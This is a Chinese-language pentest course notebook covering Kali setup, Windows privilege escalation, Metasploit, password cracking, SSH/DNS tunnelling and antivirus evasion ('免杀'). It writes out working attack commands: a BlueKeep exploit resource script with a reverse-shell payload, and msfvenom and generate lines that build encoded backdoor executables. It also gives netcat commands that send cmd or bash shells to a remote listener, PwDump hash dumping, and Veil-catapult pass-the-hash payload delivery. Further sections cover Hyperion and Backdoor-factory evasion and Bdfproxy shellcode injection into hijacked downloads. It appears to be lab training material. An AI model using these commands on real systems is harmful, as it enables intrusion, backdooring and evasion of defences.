目 录

[前期准备 3](#_Toc12875)

[2019年6月kali最新国内更新源sources.list 3](#_Toc15221)

[apt-get install 工具 4](#_Toc22467)

[kali安装所有工具包 4](#_Toc15652)

[firefox浏览器插件 4](#_Toc30995)

[java jdk官方安装 4](#_Toc28735)

[ubuntu server18.04 安装 4](#_Toc31806)

[Lamp安装（linux+apache+mysql+php） 4](#_Toc27754)

[Apache2 安装 4](#_Toc25949)

[mysql server and mysql client 安装 4](#_Toc19537)

[前期知识点 4](#_Toc22393)

[netstat -pantu 4](#_Toc5540)

[过程文档记录 5](#_Toc7465)

[笔记管理软件 5](#_Toc23993)

[文件加密工具 5](#_Toc32540)

[子域收集:kali2.0安装dnsdict6 5](#_Toc30831)

[漏洞利用代码搜索： 5](#_Toc8182)

[美国按照SCAP（XCCDF、OVAL、CVE、CCE、CPE、CVSS）框架 5](#_Toc11021)

[中文输入法安装： 5](#_Toc4147)

[漏洞扫描器 5](#_Toc27440)

[openvas安装（漏扫） 5](#_Toc8674)

[Nessu-kali安装 5](#_Toc12800)

[提权 5](#_Toc888)

[本地提权 5](#_Toc28234)

[第一种： 6](#_Toc8722)

[第二种： 6](#_Toc13362)

[第三种： 6](#_Toc5845)

[进程注入方式提权 6](#_Toc32660)

[第四种 6](#_Toc16468)

[嗅探抓包工具 6](#_Toc17997)

[密码破解 7](#_Toc28709)

[（通过数据库文件获取信息） 7](#_Toc16906)

[（通过内存获取信息） 7](#_Toc5635)

[MSF框架 7](#_Toc21837)

[重新初始化目录命令： 7](#_Toc23867)

[msf升级命令： 7](#_Toc19906)

[msf脚本执行 7](#_Toc5676)

[方法一：msf命令行 7](#_Toc5663)

[方法二：kali命令行 8](#_Toc21797)

[106 思路、身份认证方法、密码破解方法、字典 8](#_Toc15394)

[crunch命令生成字典： 8](#_Toc14574)

[107 字典、在线密码破解 8](#_Toc4974)

[hydra 8](#_Toc7857)

[第15节 流量操控技术 8](#_Toc17489)

[114 流量操控技术\_重定向 9](#_Toc30247)

[（1）重定向 9](#_Toc19898)

[（2）隧道 9](#_Toc16433)

[（3）封装 9](#_Toc31723)

[115 ssh隧道和ssh本地端口转发(与重定向相比多了ssh隧道) 9](#_Toc21325)

[本地端口转发 9](#_Toc8618)

[远程端口转发 9](#_Toc7292)

[动态端口转发 9](#_Toc4089)

[探测mac地址 9](#_Toc2201)

[arp -an 9](#_Toc26787)

[kali端配置准备 9](#_Toc24885)

[启动ssh服务 9](#_Toc2592)

[ssh本地端口转发 10](#_Toc363)

[bodhi端配置--改ip 10](#_Toc1945)

[kali端配置-开启apache服务 10](#_Toc10832)

[压缩无shell建立隧道 10](#_Toc30232)

[ssh远程端口转发 10](#_Toc15338)

[bodhi端 10](#_Toc24613)

[侦听端口在kali端 10](#_Toc32465)

[动态端口转发 11](#_Toc31584)

[X协议转发 11](#_Toc19434)

[117 dns协议隧道-dns2tcp 11](#_Toc22488)

[ISP DNS准备 11](#_Toc2775)

[2.安装dns服务： 11](#_Toc16176)

[3.打开dns管理工具 11](#_Toc1300)

[4.添加转发器（其他域转发到真实的dns） 11](#_Toc27088)

[dns2tcpc客户端 11](#_Toc15066)

[dns2tcpd服务端 11](#_Toc8880)

[118 dns协议隧道-dns2tcp 12](#_Toc4160)

[配置内网dns 12](#_Toc30344)

[121 ptunnle(icmp隧道) 12](#_Toc7217)

[122 proxytunnle（http隧道） 12](#_Toc12647)

[123 sslh（监听443端口，识别协议转发访问http、https、ssh资源） 12](#_Toc28710)

[https服务搭建 12](#_Toc17908)

[1、web服务 12](#_Toc9943)

[2、证书服务 12](#_Toc21494)

[1）在web服务管理中生成证书申请文件（txt） 12](#_Toc14646)

[2）在浏览器中访问证书申请的web页面 12](#_Toc28622)

[3）粘贴证书申请文件（txt） 12](#_Toc21614)

[4）打开证书服务管理颁发证书 12](#_Toc6918)

[5）在web服务管理中导入证书 12](#_Toc196)

[https服务搭建完成 12](#_Toc7723)

[124 补充proxytunnel、stunnel4（ssl隧道） 12](#_Toc10372)

[stunnel4服务端 12](#_Toc13951)

[stunnel4客户端 13](#_Toc18280)

[第17节 免杀 13](#_Toc24145)

[135 恶意软件、防病毒软件、免杀软件、当前现状 13](#_Toc3606)

[免杀技术 13](#_Toc27898)

[1、修改二进制文件中的特征字符串 13](#_Toc25253)

[2、加密技术 13](#_Toc29644)

[3、防病毒软件检测 13](#_Toc11858)

[136 当前现状、软件保护、自己编写后门 13](#_Toc10106)

[msfvenom 工具 13](#_Toc10696)

[1、生成后门 13](#_Toc25023)

[2、加密并生成后门 13](#_Toc9377)

[hyperion工具 13](#_Toc25942)

[0、github下载加密工具源码（hyperion） 13](#_Toc27155)

[1、准备加密工具exe（hyperion） 13](#_Toc7801)

[2、利用h.exe（hyperion工具）加密a.exe 生成b.exe 13](#_Toc13285)

[137 Veil-evasion（免杀工具：效果好） 14](#_Toc11386)

[免杀方向: 14](#_Toc26139)

[1、自己写payload 14](#_Toc9544)

[2、利用cryptor加密类工具加密 14](#_Toc24831)

[138 veil-catapult 14](#_Toc18896)

[Payload的投递 14](#_Toc25711)

[例子：（大致过程：先传powershell文件，然后再传shellcode，最后执行powershell文件调用shellcode） 14](#_Toc23186)

[139 Veil-catapult总结、另一种免杀思路、shellter 15](#_Toc5781)

[免杀思路: 15](#_Toc30200)

[shellter工具（免杀测试工具） 15](#_Toc4474)

[140 Backdoor-factory 15](#_Toc30241)

[打patch(绑定payload方式)： 15](#_Toc13842)

[代码洞（代码缝隙）： 15](#_Toc12863)

[msf使用的patch方法 16](#_Toc14507)

[141 Bdfproxy 16](#_Toc26559)

# 前期准备

## 2019年6月kali最新国内更新源sources.list

https://blog.csdn.net/key\_nothing/article/details/90055845

vi /etc/apt/sources.list

#中科大

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

apt-get update # 取回更新的软件包列表信息

apt-get upgrade # 进行一次升级

apt-get clean # 删除已经下载的安装包

## apt-get install 工具

apt-get install kali-linux-all smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule qbittorrent geany meld stardict ttf-wqy-microhei kchmviewer resolvconf python-dev python-greenlet python-gevent python-vte python-openssl python-crypto pythonappindicator python-pip libnss3-tools freemind netspeed libncurses5-dev mtr filezilla filezillacommon chromium monodevelop mono-gmcs -y

## kali安装所有工具包

apt-get install kali-linux-all

## firefox浏览器插件

flashgot 、autoproxy 、Tamper Data 、cookie importer、Cookies Manager、User Agent Switcher、HackBar、Live http header、Firebug、Download YouTube Videos as MP4、Flagfox、hashr

## java jdk官方安装

https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html

## ubuntu server18.04 安装

设置更新源sources.list

apt-get update

apt-get upgrade

apt-get dist-upgrade

## Lamp安装（linux+apache+mysql+php）

https://www.linuxidc.com/Linux/2018-08/153739.htm

### Apache2 安装

sudo apt-get install apache2 apache2-utils

sudo netstat -anol | grep :80

ps aux | grep apache

sudo service apache2 restart

### mysql server and mysql client 安装

sudo apt-get install mysql-server

sudo apt-get install mysql-client

dpkg -l | grep mysql

sudo mysql -u root -p

quit

## 前期知识点

### netstat -pantu

会显示所有端口和所有对应的程序，用grep管道可以过滤出想要的字段

### 过程文档记录

Dradis

短期临时小团队资源共享

各种插件导入文件

### 笔记管理软件

keepnote（同上）

### 文件加密工具

Truecrypt

### 子域收集:kali2.0安装dnsdict6

https://blog.csdn.net/lql971203/article/details/84449457

https://blog.csdn.net/EDDJH\_31/article/details/78366575

### 漏洞利用代码搜索：

基于exploit-db漏洞库的搜索：https://www.exploit-db.com

root@kali:~# searchsploit tomcat

sandi

### 美国按照SCAP（XCCDF、OVAL、CVE、CCE、CPE、CVSS）框架

https://nvd.nist.gov/

### 中文输入法安装：

apt-get install ibus

apt-get insatll ibus ibus-pinyin

# 漏洞扫描器

## openvas安装（漏扫）

openvas-setup

## Nessu-kali安装

dpkg -i Nessus-8.5.1-debian6\_amd64.deb

/etc/init.d/nessusd start

# 提权

## 本地提权

以下三种都是调用系统功能来实现

### 第一种：

at 19:39 /interactive cmd

再打开的cmd中输入命令：taskmgr（任务管理器）

再打开的任务管理器中结束zx用户的explorer.exe进程

继续在任务管理其中打开explorer.exe进程

### 第二种：

sc Create syscmd binPath= "cmd /K start" type= own type= interact

sc start syscmd

再打开的cmd中输入命令：taskmgr

再打开的任务管理器中结束zx用户的explorer.exe进程

继续在任务管理其中打开explorer.exe进程

### 第三种：

将sysinternal中的Psexec.exe拷贝到C盘

将linux-kali的目usr/share/windows-binaries/目录下的whoami.exe拷贝到windowxp的C盘windows\system32\下

打开cmd查看whoami是zx用户

在cmd输入命令Psexec.exe -i -s cmd -i为交互 -s为system权限

在打开的新窗口whoami查看是system账户

## 进程注入方式提权

### 第四种

将pinjector.exe拷贝到目标windows系统

可通过pinjector.exe -h 查看使用方法

查看可注入的进程pid 命令：pinjector.exe -l

开始注入pinjector.exe -p 684 cmd 5555

Ps:684：为被注入进程pid 5555:为进程打开监听端口5555

通过nc连接目标root@kali:~# nc -nv 192.168.127.136 5555

whoami查看当前账号

# 嗅探抓包工具

Windows

wireshark

Omnipeek

Sniffpass捕获密码明文数据包

Linux

Tcpdump

wireshark

Dsniff捕获密码数据包

# 密码破解

## （通过数据库文件获取信息）

通过PwDump.exe工具cmd中输入PwDump.exe localhost命令获取密文

复制密文保存名为xp.pwdump.txt文件

拷贝到kali里用ophcrack密码攻击工具打开并破解密文得到明文

## （通过内存获取信息）

密码显示工具参考

http://www.nirsoft.net

第46集

客户端和服务器在linux中使用rz/sz命令通过串口传递文件。

vegacx参考

https://packages.debian.org/jessie/armhf/libwebkitgtk-1.0-0/download

https://github.com/subgraph/Vega/issues/156

# MSF框架

## 重新初始化目录命令：

msf

msfdb

msfdb start

msfdb stop

查看端口

net -pantu | grep 5432

msfdb reinit

## msf升级命令：

msfupdate

show options

show payloads

show targets

show all

db\_nmap

hosts

services

## msf脚本执行

### 方法一：msf命令行

创建r.rc文件，命令：vi r.rc

内容：

use exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce

set rhosts 192.168.127.128

set target 3

set payload windows/x64/shell/reverse\_tcp

set lhost 192.168.127.132

run -j

结束

执行

msf5 > resource r.rc

### 方法二：kali命令行

msfconsole -r r.rc

不使用exploit直接生成payload,

payload生成格式为exe的1.exe文件

generate -b '\x00' -f exe -e x86/shikata\_ga\_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -o /root/1.exe

-b:去坏字符

-f: 指定格式

-e:指定 encoders(编码方式)

-i:循环5次

-k：作为一个新线程注入

-x: 指定要用作模板的自定义可执行文件

-o: 输出

靶机运行1.exe，打开了4444监听端口

kali上用命令：nc 192.168.98.128 4444

获得shell

# 106 思路、身份认证方法、密码破解方法、字典

## crunch命令生成字典：

crunch 6 6 0123456789 -o START

# 107 字典、在线密码破解

## hydra

# 第15节 流量操控技术

# 114 流量操控技术\_重定向

## （1）重定向

（打进来之后，知道怎么出去）

在kali上利用rinetd工具监听53、80、443等常用端口，端口转发80/3389/333，利用nc连接获得shell

kali 中nc.exe位置：

path:/usr/share/windows-binaries/nc.exe

## （2）隧道

点到点

网关ip-网关ip(内网是明文)

端到端

port--port（全流程加密）

## （3）封装

一种协议封装成另一种协议

# 115 ssh隧道和ssh本地端口转发(与重定向相比多了ssh隧道)

## 本地端口转发

## 远程端口转发

## 动态端口转发

## 探测mac地址

### arp -an

## kali端配置准备

建立ssh隧道

vi /etc/ssh/sshd\_config

port 53

PermitRootLogin yes

PasswordAuthentication yes

## 启动ssh服务

service ssh restart

netstat -pantu | grep :53

## ssh本地端口转发

### bodhi端配置--改ip

建立ssh本地端口转发

ssh -L 7001:172.31.50.223:80 root@172.31.50.221 -p 53

ssh -N -L 7001:172.31.50.223:80 root@172.31.50.221 -p 53

ssh -fN -L 7001:172.31.50.223:80 root@172.31.50.221 -p 53

bodhi打开web访问：http://127.0.0.1:7001;被转发到172.31.50.223:80

### kali端配置-开启apache服务

service apache2 start

### 压缩无shell建立隧道

ssh -CfN -L 7002:172.31.50.221:80 root@172.31.50.221 -p 53

ssh -CfN -L 7003:172.31.50.223:3389 root@172.31.50.221 -p 53

sudo apt-get install rdesktop

rdesktop 127.0.0.1:7003

共享7004端口

ssh -CfNg -L 7004:172.31.50.223:3389 root@172.31.50.221 -p 53

在另一台机器远程桌面：1.1.1.11:7004

-f 后台运行

-N 不执行登录shell

-g 复用访问时作为网关，支持多主机访问本地监听端口

只是隧道，在其他机器运行应用程序：比如shell

外网开启监听端口：

nc -nvlp 3333

nc 1.1.1.10 7005 -e cmd 将自己的cmd发送给7005

## ssh远程端口转发

### bodhi端

ssh -CfNg -R 7001:1.1.1.10:80 root@172.31.50.221 -p 53

ssh -CfNg -R 7002:1.1.1.10:3389 root@172.31.50.221 -p 53

ssh -CfNg -R 7003 1.1.1.10:3333 root@172.31.50.221 -p 53

### 侦听端口在kali端

1、打开web访问：http://127.0.0.1:80/（服务端开启web）

2、rdesktop 127.0.0.1:7002(服务端开启远程桌面)

3、nc 127.0.0.1 7003 -c bash（服务端：nc -nvlp 3333）

## 动态端口转发

ssh -CfNg -D 7009 root@172.31.50.221 -p 53

windows上设置代理：1.1.1.11:7009；访问web：www.baidu.com实现上网

## X协议转发

先ssh连接，利用-X参数 实现图形化程序运行在172.31.50.221上，

ssh -X root@172.31.50.221 -p 53

firebox

gedit

# 117 dns协议隧道-dns2tcp

## ISP DNS准备

1.network:

桥接，静态ip:172.31.50.233

gateway:172.31.50.2

DNS:127.0.0.1

## 2.安装dns服务：

卸载--打开或安装服务--网络服务--域名系统（dns）

## 3.打开dns管理工具

正向查找区域--新建区域--主要区域--名称：lab.com--下一步--下一步--。。完成

添加A记录：新建主机名(lab.com右边空白)--名称：kali--ip：172.31.50.221--完成

lab.com--新建委派--委派的域：test--选择刚刚添加的kali A记录

## 4.添加转发器（其他域转发到真实的dns）

ZX-4E5920ACD9D3右键--属性--转发器--所选域的转发器的ip地址列表--添加

## dns2tcpc客户端

dns2tcpc -c -k pass123 -d -l 2222 -r http -z test.lab.com

## dns2tcpd服务端

修改配置文件：dns2tcpd.conf

修改：

listen = 0.0.0.0

resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25 ,socks:127.0.0.1:1080,http:172.31.50.2:80,https:127.0.0.1:8087

添加：

domain = test.lab.com

key = pass123

结束

开启服务：dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

# 118 dns协议隧道-dns2tcp

## 配置内网dns

添加转发器：转发dns流量到172.31.50.233

# 121 ptunnle(icmp隧道)

# 122 proxytunnle（http隧道）

# 123 sslh（监听443端口，识别协议转发访问http、https、ssh资源）

windwos server 2003

# https服务搭建

## 1、web服务

## 2、证书服务

### 1）在web服务管理中生成证书申请文件（txt）

### 2）在浏览器中访问证书申请的web页面

### 3）粘贴证书申请文件（txt）

### 4）打开证书服务管理颁发证书

### 5）在web服务管理中导入证书

### https服务搭建完成

# 124 补充proxytunnel、stunnel4（ssl隧道）

## stunnel4服务端

## stunnel4客户端

# 第17节 免杀

# 135 恶意软件、防病毒软件、免杀软件、当前现状

# 免杀技术

### 1、修改二进制文件中的特征字符串

-替换、擦除、修改

(利用二进制修改工具进行修改)

### 2、加密技术

-通过加密技术使得特征字符串不可读，从而逃避AV检测

-运行时分片分段的解密执行，注入进程或AV不检查的无害文件中

### 3、防病毒软件检测

-恶意程序本身的特征字符

-加密器crypter的特征字符

# 136 当前现状、软件保护、自己编写后门

## msfvenom 工具

### 1、生成后门

### 2、加密并生成后门

msfvenom -p windows/shell/reverse\_tcp lhost=192.168.1.173 lport=4444 --platform win -e x86/shikata\_ga\_nai -a x86 -f exe -o a.exe

## hyperion工具

### 0、github下载加密工具源码（hyperion）

### 1、准备加密工具exe（hyperion）

安装用来编译源文件的工具（windows)

sudo apt-get install mingw-w64

编译生成exe

i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/\*.cpp -o h.exe

准备成功

### 2、利用h.exe（hyperion工具）加密a.exe 生成b.exe

command line:h.exe a.exe b.exe

# 137 Veil-evasion（免杀工具：效果好）

由python语言编写

集成了msf的payload,

集成各种payload，

集成各种注入技术，

集成各种第三方工具（加密技术）：Hypersion,PEScrambler、backdoor factory

# 免杀方向:

## 1、自己写payload

## 2、利用cryptor加密类工具加密

结果效果：可以利用不同语言生成免杀的exe（payload）

# 138 veil-catapult

## Payload的投递

-集成veil-evasion生成免杀payload或自定义payload

-使用Impacket(python库)上传二进制payload文件

-使用passing-the-hash执行payload

## 例子：（大致过程：先传powershell文件，然后再传shellcode，最后执行powershell文件调用shellcode）

启动：veil-catapult

选择：1）Standalone payloads

进入菜单

1)powershell injector

2)Barebones python injector

3)Sethc backdoor

4)Execute custom command

5)back

选择1）powershell injector

设置目标ip

输入目标用户名:zhangxin

输入目标密码：123

选择代码执行方式 wmis or winexe(exe方式)

选择：winexe

进入菜单

选择shellcode

1)msfvenom

2)自定义shellcode

3)file with shellcode(raw)

选择1)msfvenom

设置payload

Lhost

Lport

生成shellcode

press enter to launch:回车攻击注入

# 139 Veil-catapult总结、另一种免杀思路、shellter

## 免杀思路:

1、自己写payload：原始payload的特征码没有被识别

2、加密：通过cryptor加密类工具（msfvenom等）加密

3、无文件投递：内存方式执行（Veil-catapult）

4、手动修改特征字符串：找到触发AV查杀的精准字符串，并将其修改

-将执行程序分片很多片段

-将包含MZ头的第一片段与后续片段依次组合后交给AV查杀

-重复以上步骤，最终精确定位出

-利用工具：

Evade：分片工具

hexeditor:十六进制修改器

## shellter工具（免杀测试工具）

-代码混淆

-定制编码方式

-多态编码

-集成msf payload

-目前只支持32位PE程序

-使用正常exe文件作为模板，将payload代码加入模板内，但是模板程序的功能可能失效

# 140 Backdoor-factory

## 打patch(绑定payload方式)：

1、利用程序段之间的缝隙插入payload

2、也可以和msfvenon工具一样在程序末尾插入调用

## 代码洞（代码缝隙）：

-二进制文件中超过两个字节的连续x00区域

-根据统计判断代码洞是编译器在进行编译时造成的，不同的编译器造成的代码洞的大小不同

## msf使用的patch方法

1、覆盖程序入口

2、创建新的线程执行shellcode（程序末尾）并条回源程序入口

# 141 Bdfproxy

-基于流量劫持动态注入shellcode(arpspoof、dns spoof、Fake AP)

备注：利用客户通过http下载exe劫持流量注入shellcode